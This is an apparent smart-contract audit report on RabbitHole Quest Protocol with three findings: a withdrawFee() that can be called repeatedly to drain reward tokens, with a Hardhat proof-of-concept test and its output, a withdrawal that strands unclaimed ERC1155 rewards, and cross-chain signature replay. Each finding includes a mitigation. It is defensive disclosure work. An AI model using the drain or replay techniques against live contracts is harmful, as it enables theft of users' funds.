RabbitHole Quest Protocol contest - hihen's results

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L102-L104

Vulnerability details

Impact

All reward tokens in Erc20Quest can be drained by anyone. Unclaimed users and the quest owner may lose tokens.

Proof of Concept

The protocol fee should only be allowed to be withdrawn once, but there are no restrictions in Erc20Quest.withdrawFee():

function withdrawFee() public onlyAdminWithdrawAfterEnd {
    IERC20(rewardToken).safeTransfer(protocolFeeRecipient, protocolFee());
}

Therefore, anyone can call withdrawFee() after endTime to transfer all or most of the remaining reward tokens in the contract to protocolFeeRecipient.

Test code for PoC:

diff --git a/test/Erc20Quest.spec.ts b/test/Erc20Quest.spec.ts
index d0626ee..cbfe3fa 100644
--- a/test/Erc20Quest.spec.ts
+++ b/test/Erc20Quest.spec.ts
@@ -374,5 +374,47 @@ describe('Erc20Quest', async () => {
       await ethers.provider.send('evm_increaseTime', [-100001])
       await ethers.provider.send('evm_increaseTime', [-86400])
     })
+
+    it.only('withdraw protocol fees repeatedly', async () => {
+      const beginningContractBalance = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)
+      // mint receipts
+      const mintCount = 10
+      const users = await ethers.getSigners()
+      for (let i = 0; i < mintCount; i++) {
+        let hash = utils.solidityKeccak256(['address', 'string'], [users[i].address.toLowerCase(), questId])
+        let sig = await wallet.signMessage(utils.arrayify(hash))
+        await deployedFactoryContract.connect(users[i]).mintReceipt(questId, hash, sig)
+      }
+      expect(await deployedQuestContract.receiptRedeemers()).to.equal(mintCount)
+
+      await deployedQuestContract.start()
+      await ethers.provider.send('evm_increaseTime', [86400])
+      await ethers.provider.send('evm_increaseTime', [100001])
+
+      // protocolFee = 1000 * 10 * 20% = 2000
+      const protocolFee = mintCount * rewardAmount * questFee / 10_000
+      expect(protocolFee).to.equal(2000)
+      expect(await deployedQuestContract.protocolFee()).to.equal(protocolFee)
+
+      // first withdrawFee
+      expect(await deployedSampleErc20Contract.balanceOf(protocolFeeAddress)).to.equal(0)
+      await deployedQuestContract.withdrawFee()
+      expect(await deployedSampleErc20Contract.balanceOf(protocolFeeAddress)).to.equal(protocolFee)
+
+      let remainBalance = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)
+      expect(remainBalance).to.equal(totalRewardsPlusFee * 100 - protocolFee)
+      // repeat withdrawFee 99 times
+      // in fact, it can be called repeatedly until the balance in the quest contract is not enough (drain)
+      for (let i = 0; i < 99; i++) {
+        const preProtocolBal = await deployedSampleErc20Contract.balanceOf(protocolFeeAddress)
+        await deployedQuestContract.withdrawFee()
+        // fee was successfully withdrawn
+        expect(await deployedSampleErc20Contract.balanceOf(protocolFeeAddress)).to.equal(preProtocolBal.add(protocolFee))
+      }
+
+      // 100 * protocolFee was withdrawn
+      expect(await deployedSampleErc20Contract.balanceOf(protocolFeeAddress)).to.equal(protocolFee * 100)
+      expect(await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)).to.equal(beginningContractBalance.sub(protocolFee * 100))
+    })
   })
 })

Test outputs:

yarn run v1.22.15
$ yarn compile
$ rimraf ./build/
$ npx hardhat compile
Nothing to compile
No need to generate any newer typings.
$ npx hardhat test

  Erc20Quest
    withdrawFee()
      ✓ withdraw protocol fees repeatedly

  1 passing (5s)

✨  Done in 11.23s.

Tools Used

VS Code

Recommended Mitigation Steps

We should revert Erc20Quest.withdrawFee() if it is not called for the first time:

diff --git a/contracts/Erc20Quest.sol b/contracts/Erc20Quest.sol
index 868a790..4f90c7f 100644
--- a/contracts/Erc20Quest.sol
+++ b/contracts/Erc20Quest.sol
@@ -13,6 +13,7 @@ contract Erc20Quest is Quest {
     uint256 public immutable questFee;
     address public immutable protocolFeeRecipient;
     QuestFactory public immutable questFactoryContract;
+    bool public feeAlreadyWithdrawn;

     constructor(
         address rewardTokenAddress_,
@@ -100,6 +101,10 @@ contract Erc20Quest is Quest {
     /// @notice Sends the protocol fee to the protocolFeeRecipient
     /// @dev Only callable when the quest is ended
     function withdrawFee() public onlyAdminWithdrawAfterEnd {
+        if (feeAlreadyWithdrawn){
+            revert FeeAlreadyWithdrawn();
+        }
+        feeAlreadyWithdrawn = true;
         IERC20(rewardToken).safeTransfer(protocolFeeRecipient, protocolFee());
     }
 }
diff --git a/contracts/interfaces/IQuest.sol b/contracts/interfaces/IQuest.sol
index 65d8173..5db6b35 100644
--- a/contracts/interfaces/IQuest.sol
+++ b/contracts/interfaces/IQuest.sol
@@ -7,6 +7,7 @@ interface IQuest {
     // This event is triggered whenever a call to #claim succeeds.
     event Claimed(address account, uint256 amount);

+    error FeeAlreadyWithdrawn();
     error AlreadyClaimed();
     error NoTokensToClaim();
     error EndTimeInPast();
diff --git a/hardhat.config.ts b/hardhat.config.ts
index 5751c28..bc6a3cf 100644
--- a/hardhat.config.ts
+++ b/hardhat.config.ts
@@ -43,6 +43,7 @@ const config: HardhatUserConfig = {
   networks: {
     hardhat: {
       chainId: 1337,
+      allowUnlimitedContractSize: true,
       settings: {
         debug: {
           revertStrings: 'debug',

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc1155Quest.sol#L54-L63

Vulnerability details

Impact

Quest.claim() will always revert after Erc1155Quest.withdrawRemainingTokens() has been called. Unclaimed users/receipts will not be able to claim, their rewards will lose.

Proof of Concept

Erc1155Quest.withdrawRemainingTokens() will withdraw all remaining tokens including unclaimed tokens:

function withdrawRemainingTokens(address to_) public override onlyOwner {
    super.withdrawRemainingTokens(to_);
    IERC1155(rewardToken).safeTransferFrom(
        address(this),
        to_,
        rewardAmountInWeiOrTokenId,
        IERC1155(rewardToken).balanceOf(address(this), rewardAmountInWeiOrTokenId),
        '0x00'
    );
}

Therefore, after it's called, anyone calling claim() will revert because there are no reward tokens left in the contract.

While the Erc20Quest.withdrawRemainingTokens() will leave the unclaimedTokens in the contract for claim():

function withdrawRemainingTokens(address to_) public override onlyOwner {
    super.withdrawRemainingTokens(to_);

    uint unclaimedTokens = (receiptRedeemers() - redeemedTokens) * rewardAmountInWeiOrTokenId;
    uint256 nonClaimableTokens = IERC20(rewardToken).balanceOf(address(this)) - protocolFee() - unclaimedTokens;
    IERC20(rewardToken).safeTransfer(to_, nonClaimableTokens);
}

Tools Used

VS Code

Recommended Mitigation Steps

We should leave the unclaimed tokens in the contract when calling Erc1155Quest.withdrawRemainingTokens(), just as the Erc20Quest.withdrawRemainingTokens() did.

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L222-L223

Vulnerability details

Impact

An attacker could launch a replay attack to mint receipts without claimSignerAddress's agreement on other chains. The attacker may obtain a valid signature on any EVM chain ( including testnets ), and then launch a replay attack on any other EVM chain, as long as the QuestFactory has the same claimSignerAddress and a Quest with the same questId exists. It may also be replayed on the same chain if a new QuestFactory is deployed.

Proof of Concept

The message to be signed by the claimSignerAddress does not contain information of the current chain and current contract, see QuestFactory#L222-L223:

function mintReceipt(string memory questId_, bytes32 hash_, bytes memory signature_) public {
    ...
    if (keccak256(abi.encodePacked(msg.sender, questId_)) != hash_) revert InvalidHash();
    if (recoverSigner(hash_, signature_) != claimSignerAddress) revert AddressNotSigned();
    ...
}

Therefore, the signature_ is valid on all EVM-compatible chains, and users can use one signature_ to mintReceipt() from any QuestFactory on any EVM chains, as long as the QuestFactory has the same claimSignerAddress and a Quest with the same questId exists.

Tools Used

VS Code

Recommended Mitigation Steps

Simple option: Add block.chainid and address of QuestFactory to the message to be signed:

if (keccak256(abi.encodePacked(block.chainid, address(this), msg.sender, questId_)) != hash_) revert InvalidHash();

Advanced option: Adopt the hashing and signing scheme of eip-712.